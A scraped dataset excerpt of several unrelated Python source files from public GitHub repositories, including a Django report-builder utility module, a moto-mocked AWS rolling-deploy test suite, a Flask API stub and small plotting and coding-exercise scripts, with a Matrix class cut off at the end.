_msg_new\n\n\"\"\"\n# TEST\n\"\"\"\n\ndef test():\n\t# Test messages\n\t#msg = \"She, you and me. Sheer is funny! He is it, too.\"\n\tmsg = \"He, and SHE likes me so much. HELP him! His dog likes tea and eats with him cake. That's hers. He's great.\"\n\tprint(\"Old: \" + msg)\n\t\n\tmyfilter = gender_filter()\n\tmyfilter.change_msg(1,msg)\n\tmsg_new = myfilter.msg_new\n\tprint(\"New: \" + msg_new)\n\nif __name__=='__main__':\n\ttest()\n","repo_name":"Samdney/pysocks5sys","sub_path":"myproxyfilter.py","file_name":"myproxyfilter.py","file_ext":"py","file_size_in_byte":7204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"23176883372","text":"l = int(input())\nheight = list(map(int, input().split()))\nm = int(input())\ncnt = 0\ninfo = {}\nindex = []\n\nfor i in range(1, l+1):\n info[i] = height[i-1]\n# print(info)\n\n\ndef find_index():\n global info\n global index\n info = dict(sorted(info.items(), key = lambda x : x[1], reverse=True))\n # print(info)\n index = list(info.keys())\n return index\n\n\nwhile cnt < m:\n cnt += 1\n find_index()\n high_index = index[0]\n low_index = index[-1]\n info[high_index] -= 1\n info[low_index] += 1\n # print(cnt, info)\nresult = list(info.values())\nprint(max(result) - min(result))","repo_name":"Seoyun0626/CodingTest","sub_path":"인프런/창고정리.py","file_name":"창고정리.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"30270343324","text":"from decimal import Decimal\nfrom itertools import chain\nfrom numbers import Number\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.exceptions import FieldDoesNotExist\nfrom django.conf import settings\nimport copy\nimport datetime\nimport inspect\n\n\ndef javascript_date_format(python_date_format):\n format = python_date_format.replace(r'Y', 'yyyy')\n format = format.replace(r'm', 'mm')\n format = format.replace(r'd', 'dd')\n if not format:\n format = 'yyyy-mm-dd'\n return format\n\n\ndef duplicate(obj, changes=None):\n \"\"\" Duplicates any object including m2m fields\n changes: any changes that should occur, example\n changes = (('fullname','name (copy)'), ('do not copy me', ''))\"\"\"\n if not obj.pk:\n raise ValueError('Instance must be saved before it can be cloned.')\n duplicate = copy.copy(obj)\n duplicate.pk = None\n for change in changes:\n duplicate.__setattr__(change[0], change[1])\n duplicate.save()\n # trick to copy ManyToMany relations.\n for field in obj._meta.many_to_many:\n source = getattr(obj, field.attname)\n destination = getattr(duplicate, field.attname)\n for item in source.all():\n try: # m2m, through fields will fail.\n destination.add(item)\n except:\n pass\n return duplicate\n\n\nDATE = 1\nNUMBER = 2\n\n\ndef sort_helper(x, sort_key, sort_type):\n \"\"\" Sadly python 3 makes it very hard to sort mixed types\n We can work around this by forcing the types\n \"\"\"\n result = x[sort_key]\n if result is None:\n if sort_type == DATE:\n result = datetime.date(datetime.MINYEAR, 1, 1)\n elif sort_type == NUMBER:\n result = 0\n else: # Last try - make it a string\n result = ''\n return result\n\n\ndef sort_data(data_list, display_field):\n \"\"\" Sort data based on display_field settings\n data_list - 2d array of data\n display_field - report_builder.DisplayField object\n returns sorted data_list\n \"\"\"\n position = display_field.position\n is_reverse = display_field.sort_reverse\n # Try to inspect sample data to determine type\n sample_data = data_list[0][position]\n if sample_data is None:\n sample_data = data_list[-1][position]\n sort_type = None\n if isinstance(sample_data, (datetime.date, datetime.datetime)):\n sort_type = DATE\n elif isinstance(sample_data, (int, float, complex)):\n sort_type = NUMBER\n return sorted(\n data_list,\n key=lambda x: sort_helper(x, position, sort_type),\n reverse=is_reverse\n )\n\n\ndef increment_total(display_field, data_row):\n val = data_row[display_field.position]\n if isinstance(val, bool):\n # True: 1, False: 0\n display_field.total_count += Decimal(val)\n elif isinstance(val, Number):\n display_field.total_count += Decimal(str(val))\n elif val:\n display_field.total_count += Decimal(1)\n\n\ndef formatter(value, style):\n \"\"\" Convert value to Decimal to apply numeric formats.\n value - The value we wish to format.\n style - report_builder.Format object\n \"\"\"\n try:\n value = Decimal(value)\n except Exception:\n pass\n\n try:\n return style.string.format(value)\n except ValueError:\n return value\n\n\n# Model Utils\n\n\ndef isprop(v):\n return isinstance(v, property)\n\n\ndef get_properties_from_model(model_class):\n \"\"\" Show properties from a model \"\"\"\n properties = []\n attr_names = [name for (name, value) in inspect.getmembers(model_class, isprop)]\n for attr_name in attr_names:\n if attr_name.endswith('pk'):\n attr_names.remove(attr_name)\n else:\n properties.append(dict(label=attr_name, name=attr_name.strip('_').replace('_', ' ')))\n return sorted(properties, key=lambda k: k['label'])\n\n\ndef get_relation_fields_from_model(model_class):\n \"\"\" get related fields (m2m, fk, and reverse fk) \"\"\"\n relation_fields = []\n all_fields_names = get_all_field_names(model_class)\n for field_name in all_fields_names:\n field = copy.deepcopy(model_class._meta.get_field(field_name))\n direct = field.concrete\n m2m = field.many_to_many\n # get_all_field_names will return the same field\n # both with and without _id. ignore the duplicate.\n if field_name[-3:] == '_id' and field_name[:-3] in all_fields_names:\n continue\n if m2m or not direct or field.is_relation:\n field.field_name = field_name\n relation_fields += [field]\n return relation_fields\n\n\ndef get_all_field_names(model_class):\n \"\"\" Restores a function from django<1.10 \"\"\"\n return list(set(chain.from_iterable(\n (field.name, field.attname) if hasattr(field, 'attname') else (field.name,)\n for field in model_class._meta.get_fields()\n # For complete backwards compatibility, you may want to exclude\n # GenericForeignKey from the results.\n if not (field.many_to_one and field.related_model is None)\n )))\n\n\ndef get_direct_fields_from_model(model_class):\n \"\"\" Direct, not m2m, not FK \"\"\"\n direct_fields = []\n all_fields_names = get_all_field_names(model_class)\n for field_name in all_fields_names:\n field = model_class._meta.get_field(field_name)\n direct = field.concrete\n m2m = field.many_to_many\n if direct and not m2m and not field.is_relation:\n direct_fields += [field]\n return direct_fields\n\n\ndef get_custom_fields_from_model(model_class):\n \"\"\" django-custom-fields support \"\"\"\n if 'custom_field' in settings.INSTALLED_APPS:\n from custom_field.models import CustomField\n try:\n content_type = ContentType.objects.get(\n model=model_class._meta.model_name,\n app_label=model_class._meta.app_label)\n except ContentType.DoesNotExist:\n content_type = None\n custom_fields = CustomField.objects.filter(content_type=content_type)\n return custom_fields\n\n\ndef get_model_from_path_string(root_model, path):\n \"\"\" Return a model class for a related model\n root_model is the class of the initial model\n path is like foo__bar where bar is related to foo\n \"\"\"\n for path_section in path.split('__'):\n if path_section:\n try:\n field = root_model._meta.get_field(path_section)\n direct = field.concrete\n except FieldDoesNotExist:\n return root_model\n if direct:\n if hasattr(field, 'related'):\n try:\n root_model = field.related.parent_model()\n except AttributeError:\n root_model = field.related.model\n\n elif hasattr(field, 'related_model') and field.related_model:\n root_model = field.related_model\n\n else:\n if hasattr(field, 'related_model'):\n root_model = field.related_model\n else:\n root_model = field.model\n return root_model\n","repo_name":"burke-software/django-report-builder","sub_path":"report_builder/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7116,"program_lang":"python","lang":"en","doc_type":"code","stars":753,"dataset":"github-code","pt":"77"} +{"seq_id":"72561631930","text":"import numpy as np\nimport sys\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LinearSegmentedColormap\n\nprint(\"This script is used to print the accesses of a TPG to a CU according to the out_best_stats.md file. Result is plot using matplotlib and corresponds to a sizeXsize image (CU) with a color bar legend.\")\nprint(\"This script is often used with launch_all_TPGs-Accesses_print.py which calls it many times.\")\n\nif (len(sys.argv) != 2):\n print(\"Illegal number of parameters\")\n print(\"Usage: python3.6 print_TPGAcesses.py FILE_NAME\")\n print(\"Example: python3.6 /home/cleonard/dev/stage/scripts/python/printData/print_TPGAcesses.py /home/cleonard/dev/stage/results/scripts_results/Binary/Actions_bal_dataset1/NP/out_best_stats_ent0_bNP_63,63.md\")\n\n# Global variable\nsize = 32\n\n# Get file name\nprint(\"Script name : \", str(sys.argv[0]))\nprint(\"File name : \", str(sys.argv[1]))\ninputFile = str(sys.argv[1])\nsplitName = inputFile.split(\"/\")[-2]\nprint(splitName)\n\n# Open file, get last line and print it\nfile = open(inputFile, \"r\")\ndata = file.readlines()[-1]\nprint(data)\nfile.close()\n\n# Remove first ('{') and last ('}' + any space if there is) char from data\ndata = data[1:]\nwhile data[-1] != \"}\":\n data = data[:-1]\ndata = data[:-1]\n\n# Split data in a tab containing every pair\npixels = data.split(\"} {\")\n\n# Init the access array\naccess = np.zeros((size, size))\n\n# Store data in access\nfor p in pixels:\n # Split every pair with the pixel index (var[0]) and the number of accesses (var[1])\n var = p.split(\",\")\n # Compute 2D indexes\n row = int(var[0]) // size\n col = int(var[0]) % size\n # Store number of accesses in the corresponding pixel\n access[row][col] = int(var[1])\n\n# *** Own colormap (pretty but not really efficient) ***\n# # Create the colors (normalized)\n# topo_colors = [(255/255, 255/255, 255/255), # Blanc\n# (243/255, 232/255, 77/255), # Jaune\n# (255/255, 146/255, 3/255), # Orange\n# (255/255, 0/255, 0/255), # Rouge\n# (197/255, 3/255, 255/255), # Violet\n# (3/255, 205/255, 255/255), # Bleu\n# (75/255, 255/255, 9/255) # Vert\n# ]\n# # Create the colormap from my personnalized colors\n# my_cmap = LinearSegmentedColormap.from_list('topo_basic', topo_colors)\n\n# *** JET colormap (internet) ***\ncmap = plt.cm.jet # define the colormap\n# Extract all colors from the .jet map\ncmaplist = [cmap(i) for i in range(cmap.N)]\n# Force the first color entry to be white\ncmaplist[0] = (1, 1, 1, 1.0)\n# Create the new map\ncmap = LinearSegmentedColormap.from_list(\n 'Custom cmap', cmaplist, cmap.N)\n\n# Show image\nfig = plt.figure(splitName)\nplt.imshow(access, cmap=cmap)\nplt.colorbar(extend = 'both')\nplt.show()\n","repo_name":"CedricLeon/scripts","sub_path":"python/printData/print_TPGAcesses.py","file_name":"print_TPGAcesses.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"15593867412","text":"#!flask/bin/python\nfrom flask import Flask, jsonify, request\nfrom random import uniform\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return jsonify({'ok': True}), 200\n\n\n@app.route('/dimensions', methods=['POST'])\ndef calculate_dimensions():\n\n json = request.get_json(silent=True)\n errors = check_params(json)\n\n if len(errors) > 0:\n response = jsonify(errors)\n response.status_code = 400\n return response\n\n dimensions = random_dimensions()\n\n return jsonify(dimensions), 200\n\n\n@app.errorhandler(404)\ndef not_found(e):\n return jsonify({'error': 'Not found'}), 404\n\n\n@app.errorhandler(405)\ndef method_not_allowed(e):\n return jsonify({'error': 'Method not allowed'}), 405\n\n\ndef check_params(json):\n errors = []\n\n if not json:\n errors.append(error('Incorrect JSON body'))\n else:\n if 'image' not in json:\n errors.append(error('Missing parameter', 'image'))\n elif not decode_image(json['image']):\n errors.append(error('Invalid base64 representation', 'image'))\n\n return errors\n\n\ndef decode_image(img):\n try:\n img = img.replace('data:image/png;base64,', '')\n img.decode('base64')\n return True\n except:\n return False\n\n\ndef random_dimensions():\n return {\n 'height': round(uniform(0, 10), 2),\n 'length': round(uniform(0, 20), 2),\n 'weight': round(uniform(0, 15), 2)\n }\n\n\ndef error(message, field=None):\n msg = {\n 'message': message\n }\n if field:\n msg['field'] = field\n return msg\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"mathifonseca/sizer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10562023353","text":"import sys\nimport pytest\nimport unittest\nimport boto\nfrom boto.ec2.autoscale.launchconfig import LaunchConfiguration\nfrom boto.ec2.autoscale.group import AutoScalingGroup\nfrom boto.ec2.cloudwatch.alarm import MetricAlarm\nfrom moto import mock_autoscaling_deprecated\nfrom moto import mock_ec2_deprecated\nfrom moto import mock_elb_deprecated\nfrom moto.cloudwatch import mock_cloudwatch_deprecated\n\nfrom License2Deploy.rolling_deploy import RollingDeploy\nfrom License2Deploy.AWSConn import AWSConn\n\n\nclass RollingDeployTest(unittest.TestCase):\n\n autoscaling_group_name = 'autoscaling_group_name'\n launch_configuration_name = 'launch_configuration_name'\n load_balancer_name = 'load_balancer_name'\n\n GMS_LAUNCH_CONFIGURATION_STG = 'server-backend-stg-servergmsextenderLCstg-46TIE5ZFQTLB'\n GMS_LAUNCH_CONFIGURATION_PRD = 'server-backend-prd-servergmsextenderLCprd-46TIE5ZFQTLB'\n GMS_AUTOSCALING_GROUP_STG = 'server-backend-stg-servergmsextenderASGstg-3ELOD1FOTESTING'\n GMS_AUTOSCALING_GROUP_PRD = 'server-backend-prd-servergmsextenderASGprd-3ELOD1FOTESTING'\n\n @mock_autoscaling_deprecated\n @mock_elb_deprecated\n @mock_ec2_deprecated\n def setUp(self):\n self.setUpELB()\n self.rolling_deploy = RollingDeploy('stg', 'server-gms-extender', '0', 'ami-abcd1234', None, './regions.yml', force_redeploy=True)\n\n def get_autoscaling_configurations(self, launch_configuration_name, autoscaling_group_name):\n return {\n self.autoscaling_group_name: autoscaling_group_name,\n self.launch_configuration_name: launch_configuration_name\n }\n\n @mock_autoscaling_deprecated\n def setUpAutoScaleGroup(self, configurations, env=\"stg\"):\n conn = boto.connect_autoscale()\n for configuration in configurations:\n config = LaunchConfiguration(\n name=configuration[self.launch_configuration_name],\n image_id='ami-abcd1234',\n instance_type='m1.medium',\n )\n load_balancer_name = self.load_balancer_name\n group = AutoScalingGroup(\n name=configuration[self.autoscaling_group_name],\n availability_zones=['us-east-1a'],\n default_cooldown=300,\n desired_capacity=2,\n health_check_period='0',\n health_check_type=\"EC2\",\n max_size=10,\n min_size=2,\n launch_config=config,\n load_balancers=[load_balancer_name],\n vpc_zone_identifier='subnet-1234abcd',\n termination_policies=[\"Default\"],\n )\n conn.create_launch_configuration(config)\n conn.create_auto_scaling_group(group)\n\n @mock_elb_deprecated\n def setUpELB(self, env='stg'):\n conn_elb = boto.connect_elb()\n zones = ['us-east-1a']\n ports = [(80, 8080, 'http')]\n load_balancer_name = self.load_balancer_name\n conn_elb.create_load_balancer(load_balancer_name, zones, ports)\n balancers = conn_elb.get_all_load_balancers(load_balancer_names=[load_balancer_name])\n self.assertEqual(balancers[0].name, load_balancer_name)\n\n @mock_ec2_deprecated\n @mock_elb_deprecated\n def setUpEC2(self, tag=True):\n self.setUpELB()\n conn_elb = boto.connect_elb()\n conn = boto.connect_ec2()\n instance_id_list = []\n reservation = conn.run_instances('ami-1234abcd', min_count=2, private_ip_address=\"10.10.10.10\")\n instance_ids = reservation.instances\n for instance in instance_ids:\n if tag:\n instance.add_tag('BUILD', 0)\n instance_id_list.append(instance.id)\n elb = conn_elb.get_all_load_balancers(load_balancer_names=[self.load_balancer_name])[0]\n elb.register_instances(instance_id_list)\n elb_ids = [instance.id for instance in elb.instances]\n self.assertEqual(instance_id_list.sort(), elb_ids.sort())\n\n return [conn, instance_id_list]\n\n @mock_cloudwatch_deprecated\n def setUpCloudWatch(self, instance_ids, env=\"stg\"):\n alarm = MetricAlarm(\n name = \"servergmsextender_CloudWatchAlarm\" + env,\n namespace = \"AWS/EC2\",\n metric = \"CPUUtilization\",\n comparison = \">=\",\n threshold = \"90\",\n evaluation_periods = 1,\n statistic = \"Average\",\n period = 300,\n dimensions = {'InstanceId': instance_ids},\n alarm_actions=['arn:alarm'],\n ok_actions=['arn:ok']\n )\n watch_conn = boto.connect_cloudwatch()\n watch_conn.put_metric_alarm(alarm)\n\n @mock_cloudwatch_deprecated\n def setUpCloudWatchWithWrongConfig(self, instance_ids, env=\"stg\"):\n alarm = MetricAlarm(\n name = \"servergmsextender_CloudWatchAlarm\" + env,\n namespace = \"AWS/EC2\",\n metric = \"CPUUtilization\",\n comparison = \"GreaterThanThreshold\", # wrong configuration that would generate error.\n threshold = \"90\",\n evaluation_periods = 1,\n statistic = \"Average\",\n period = 300,\n dimensions = {'InstanceId': instance_ids},\n alarm_actions=['arn:alarm'],\n ok_actions=['arn:ok']\n )\n watch_conn = boto.connect_cloudwatch()\n watch_conn.put_metric_alarm(alarm)\n\n @mock_cloudwatch_deprecated\n def test_retrieve_project_cloudwatch_alarms(self):\n instance_ids = self.setUpEC2()\n self.setUpCloudWatch(instance_ids)\n cloud_watch_alarms = self.rolling_deploy.retrieve_project_cloudwatch_alarms()\n print(cloud_watch_alarms)\n self.assertEqual(1, len(cloud_watch_alarms))\n\n @mock_cloudwatch_deprecated\n def test_retrieve_project_cloudwatch_alarms_with_no_valid_alarms(self):\n instance_ids = self.setUpEC2()\n self.setUpCloudWatch(instance_ids)\n self.rolling_deploy.env = \"wrong_env_prd\" # set a wrong environment\n cloud_watch_alarms = self.rolling_deploy.retrieve_project_cloudwatch_alarms()\n self.assertEqual(0, len(cloud_watch_alarms))\n\n @mock_cloudwatch_deprecated\n def test_retrieve_project_cloudwatch_alarms_with_wrong_config(self):\n instance_ids = self.setUpEC2()\n self.setUpCloudWatchWithWrongConfig(instance_ids)\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.retrieve_project_cloudwatch_alarms())\n\n @mock_cloudwatch_deprecated\n def test_enable_project_cloudwatch_alarms_Error(self):\n instance_ids = self.setUpEC2()\n self.setUpCloudWatch(instance_ids)\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.enable_project_cloudwatch_alarms())\n\n @mock_cloudwatch_deprecated\n def test_disable_project_cloudwatch_alarms_Error(self):\n instance_ids = self.setUpEC2()\n self.setUpCloudWatch(instance_ids)\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.disable_project_cloudwatch_alarms())\n\n @mock_ec2_deprecated\n def test_tag_ami(self):\n conn = self.setUpEC2()[0]\n reservation = conn.run_instances('ami-1234xyz1', min_count=1)\n instance_ids = reservation.instances\n conn.create_image(instance_ids[0].id, \"test-ami\", \"this is a test ami\")\n _ami_ids = conn.get_all_images()\n _ami_id = _ami_ids[0].id\n self.rolling_deploy = RollingDeploy('stg', 'server-gms-extender', '0', _ami_id, None, './regions.yml')\n self.rolling_deploy.tag_ami(str(_ami_id), 'stg')\n self.rolling_deploy.tag_ami(str(_ami_id), 'qa')\n self.rolling_deploy.tag_ami(str(_ami_id), 'qa')\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.tag_ami('blargness', 'qa'))\n\n @mock_ec2_deprecated\n def test_load_config(self):\n self.assertEqual(AWSConn.load_config('regions.yml').get('qa'), 'us-west-1')\n self.assertEqual(AWSConn.load_config('regions.yml').get('stg'), 'us-east-1')\n self.assertEqual(AWSConn.load_config('regions.yml').get('prd'), 'us-east-1')\n self.assertEqual(AWSConn.load_config('regions.yml').get('default'), 'us-west-1')\n self.assertEqual(AWSConn.load_config('regions.yml').get('zero'), None)\n\n @mock_ec2_deprecated\n def test_load_config(self):\n self.assertEqual(AWSConn.determine_region('get-shwifty'), 'us-west-1')\n\n @mock_ec2_deprecated\n def test_wait_ami_availability(self):\n conn = self.setUpEC2()[0]\n inst_ids = self.setUpEC2()[1]\n conn.create_image(inst_ids[0], \"test-ami\", \"this is a test ami\")\n ami_ids = conn.get_all_images()\n ami_id = ami_ids[0]\n self.assertEqual(str(ami_id), str(self.rolling_deploy.get_ami_id_state(ami_id.id)))\n self.assertTrue(self.rolling_deploy.wait_ami_availability(ami_id.id))\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.wait_ami_availability('bad-id')) #Will raise exception because ami can't be found\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.wait_ami_availability(ami_id.id, -100)) #Will raise exception as time limit is over\n\n @mock_ec2_deprecated\n @mock_elb_deprecated\n def test_confirm_lb_has_only_new_instances(self):\n instance_ids = self.setUpEC2()[1]\n self.rolling_deploy.load_balancer = self.load_balancer_name\n self.assertEqual(len(instance_ids), len(self.rolling_deploy.confirm_lb_has_only_new_instances())) #Return All LB's with the proper build number\n\n @mock_ec2_deprecated\n @mock_elb_deprecated\n def test_lb_healthcheck(self):\n instance_ids = self.setUpEC2()[1]\n self.rolling_deploy.load_balancer = self.load_balancer_name\n self.assertTrue(self.rolling_deploy.lb_healthcheck(instance_ids)) #Return InService for all instances in ELB\n # Below doesn't work as I am unable to change the instance state. Need to modify elb_healthcheck method and also modify instance_health template.\n ## https://github.com/spulec/moto/blob/master/moto/elb/responses.py#L511 ##\n ## https://github.com/spulec/moto/blob/master/moto/elb/responses.py#L219 ##\n #self.assertRaises(SystemExit, lambda: self.rolling_deploy.lb_healthcheck(instance_ids, 1, 1)) #Return OutOfService for the first instance in the ELB which will raise an exit call\n\n @mock_autoscaling_deprecated\n def test_get_group_info(self):\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n group = self.rolling_deploy.get_group_info([self.GMS_AUTOSCALING_GROUP_STG])[0]\n self.assertEqual(group.name, self.GMS_AUTOSCALING_GROUP_STG)\n\n @mock_autoscaling_deprecated\n def test_failure_get_group_info(self):\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.get_group_info('cool'))\n\n @mock_autoscaling_deprecated\n def test_get_autoscale_group_name_stg(self):\n autoscaling_configurations = list()\n autoscaling_configurations.append(self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG))\n autoscaling_configurations.append(self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_PRD, self.GMS_AUTOSCALING_GROUP_PRD))\n self.setUpAutoScaleGroup(autoscaling_configurations)\n group = self.rolling_deploy.get_autoscale_group_name()\n self.assertEqual(group, self.GMS_AUTOSCALING_GROUP_STG)\n self.assertNotEqual(group, self.GMS_AUTOSCALING_GROUP_PRD)\n\n @mock_autoscaling_deprecated\n @mock_elb_deprecated\n def test_get_autoscale_group_name_prd(self):\n self.setUpELB(env='prd')\n self.rolling_deploy = RollingDeploy('prd', 'server-gms-extender', '0', 'ami-test212', None, './regions.yml')\n autoscaling_configurations = list()\n autoscaling_configurations.append(self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_PRD, self.GMS_AUTOSCALING_GROUP_PRD))\n self.setUpAutoScaleGroup(autoscaling_configurations, env='prd')\n group = self.rolling_deploy.get_autoscale_group_name()\n self.assertEqual(group, self.GMS_AUTOSCALING_GROUP_PRD)\n self.assertNotEqual(group, self.GMS_AUTOSCALING_GROUP_STG)\n\n @mock_autoscaling_deprecated\n def test_calculate_autoscale_desired_instance_count(self):\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n increase = self.rolling_deploy.calculate_autoscale_desired_instance_count(self.GMS_AUTOSCALING_GROUP_STG, 'increase')\n decrease = self.rolling_deploy.calculate_autoscale_desired_instance_count(self.GMS_AUTOSCALING_GROUP_STG, 'decrease')\n self.assertEqual(increase, 4)\n self.assertEqual(decrease, 1)\n\n @mock_autoscaling_deprecated\n def test_calculate_autoscale_desired_instance_count_failure(self):\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.calculate_autoscale_desired_instance_count(self.GMS_AUTOSCALING_GROUP_STG, 'nothing'))\n\n @mock_ec2_deprecated\n def test_get_instance_ip_addrs(self):\n self.setUpEC2()\n self.rolling_deploy.get_instance_ip_addrs(self.setUpEC2()[1])\n self.rolling_deploy.log_instances_ips(self.setUpEC2()[1], 'group')\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.get_instance_ip_addrs(['blah', 'blarg']))\n\n @mock_ec2_deprecated\n def test_is_redeploy(self):\n self.setUpEC2()\n self.assertTrue(self.rolling_deploy.is_redeploy())\n\n @mock_ec2_deprecated\n def test_is_redeploy_fails(self):\n self.setUpEC2(tag=False)\n with pytest.raises(SystemExit):\n self.rolling_deploy.is_redeploy()\n\n def test_stop_deploy(self):\n with pytest.raises(SystemExit):\n self.rolling_deploy.stop_deploy('error!')\n\n @mock_ec2_deprecated\n @mock_autoscaling_deprecated\n @mock_elb_deprecated\n def test_get_all_instance_ids(self):\n self.setUpELB()\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n conn = boto.connect_ec2()\n reservation = conn.run_instances('ami-1234abcd', min_count=2, private_ip_address=\"10.10.10.10\")\n instance_ids = reservation.instances\n rslt = self.rolling_deploy.get_all_instance_ids(self.GMS_AUTOSCALING_GROUP_STG)\n self.assertEqual(len(instance_ids), len(rslt))\n\n @mock_ec2_deprecated\n @mock_autoscaling_deprecated\n @mock_elb_deprecated\n def test_validate_instance_list(self):\n self.setUpELB()\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n conn = boto.connect_ec2()\n reservation = conn.run_instances('ami-1234abcd', min_count=2, private_ip_address=\"10.10.10.10\")\n instances = reservation.instances\n self.assertTrue(self.rolling_deploy.validate_instance_list(instances))\n\n @mock_ec2_deprecated\n @mock_autoscaling_deprecated\n @mock_elb_deprecated\n def test_failure_validate_instance_list(self):\n instances = []\n self.assertRaises(Exception, lambda: self.rolling_deploy.validate_instance_list(instances))\n\n @mock_ec2_deprecated\n @mock_autoscaling_deprecated\n def test_get_instance_ids_by_requested_build_tag(self):\n self.setUpEC2()\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n conn = boto.connect_ec2()\n new_inst = []\n res_ids = conn.get_all_instances()\n for i_id in res_ids:\n for name in i_id.instances:\n if [y for y in name.tags if y == 'BUILD' and name.tags['BUILD'] == '0']:\n new_inst.append(name.id)\n self.rolling_deploy.new_desired_capacity = self.rolling_deploy.calculate_autoscale_desired_instance_count(self.GMS_AUTOSCALING_GROUP_STG, 'increase')\n\n self.assertEqual(len(self.rolling_deploy.get_instance_ids_by_requested_build_tag(new_inst, 0)), 2)\n self.assertRaises(Exception, lambda: self.rolling_deploy.get_instance_ids_by_requested_build_tag(new_inst, 1))\n\n self.rolling_deploy.original_instance_ids = list(new_inst)\n self.rolling_deploy.force_redeploy = False\n self.assertEqual(len(self.rolling_deploy.get_instance_ids_by_requested_build_tag(new_inst, 0)), 2)\n self.rolling_deploy.force_redeploy = True\n self.assertRaises(Exception, lambda: self.rolling_deploy.get_instance_ids_by_requested_build_tag(new_inst, 0))\n\n @mock_ec2_deprecated\n @mock_autoscaling_deprecated\n def test_get_instance_ids_by_requested_build_tag_race_condition(self):\n self.setUpEC2()\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n conn = boto.connect_ec2()\n new_inst = []\n res_ids = conn.get_all_instances()\n for i_id in res_ids:\n for name in i_id.instances:\n if [y for y in name.tags if y == 'BUILD' and name.tags['BUILD'] == '0']:\n new_inst.append(name.id)\n break\n self.rolling_deploy.force_redeploy = True\n self.rolling_deploy.new_desired_capacity = self.rolling_deploy.calculate_autoscale_desired_instance_count(self.GMS_AUTOSCALING_GROUP_STG, 'increase')\n self.assertRaises(Exception, lambda: self.rolling_deploy.get_instance_ids_by_requested_build_tag(new_inst, 1))\n\n\n @mock_ec2_deprecated\n def test_get_instance_ids_by_requested_build_tag_failure(self):\n self.setUpEC2()\n self.assertRaises(Exception, lambda: self.rolling_deploy.get_instance_ids_by_requested_build_tag([], 0))\n\n @mock_autoscaling_deprecated\n def test_set_autoscale_instance_desired_count(self):\n self.setUpAutoScaleGroup([self.get_autoscaling_configurations(self.GMS_LAUNCH_CONFIGURATION_STG, self.GMS_AUTOSCALING_GROUP_STG)])\n self.assertTrue(self.rolling_deploy.set_autoscale_instance_desired_count(4, self.GMS_AUTOSCALING_GROUP_STG))\n\n @mock_ec2_deprecated\n def test_wait_for_new_instances(self):\n instance_ids = self.setUpEC2()[1]\n self.assertEqual(self.rolling_deploy.wait_for_new_instances(instance_ids, 9), None)\n\n @mock_ec2_deprecated\n def test_wait_for_new_instances_failure(self):\n conn = self.setUpEC2()[0]\n instance_ids = self.setUpEC2()[1]\n reservations = conn.get_all_instances()\n reservations[0].instances[0].stop()\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.wait_for_new_instances(instance_ids, 3, 1))\n\n def test_set_autoscale_instance_desired_count_failure(self):\n self.assertRaises(SystemExit, lambda: self.rolling_deploy.set_autoscale_instance_desired_count(4, self.GMS_AUTOSCALING_GROUP_STG))\n\n def test_double_autoscale_instance_count(self):\n self.assertEqual(self.rolling_deploy.double_autoscale_instance_count(2), 4)\n\n def test_decrease_autoscale_instance_count(self):\n self.assertEqual(self.rolling_deploy.decrease_autoscale_instance_count(4), 2)\n","repo_name":"dandb/License2Deploy","sub_path":"tests/rolling_deploy_test.py","file_name":"rolling_deploy_test.py","file_ext":"py","file_size_in_byte":18154,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"77"} +{"seq_id":"42755615175","text":"from p5 import *\n\nclass Matrix:\n ## first constructor\n def __init__(self,r,c):\n self.rows = r\n self.cols = c\n self.matrix = [[0.] * self.cols for i in range(self.rows)]\n\n def returnMatrix(self):\n return self.matrix\n \n ## second constructor\n @classmethod\n def float(cls,m):\n rows = len(m)\n cols = len(m[0])\n return cls(rows,cols)\n \n @classmethod\n def 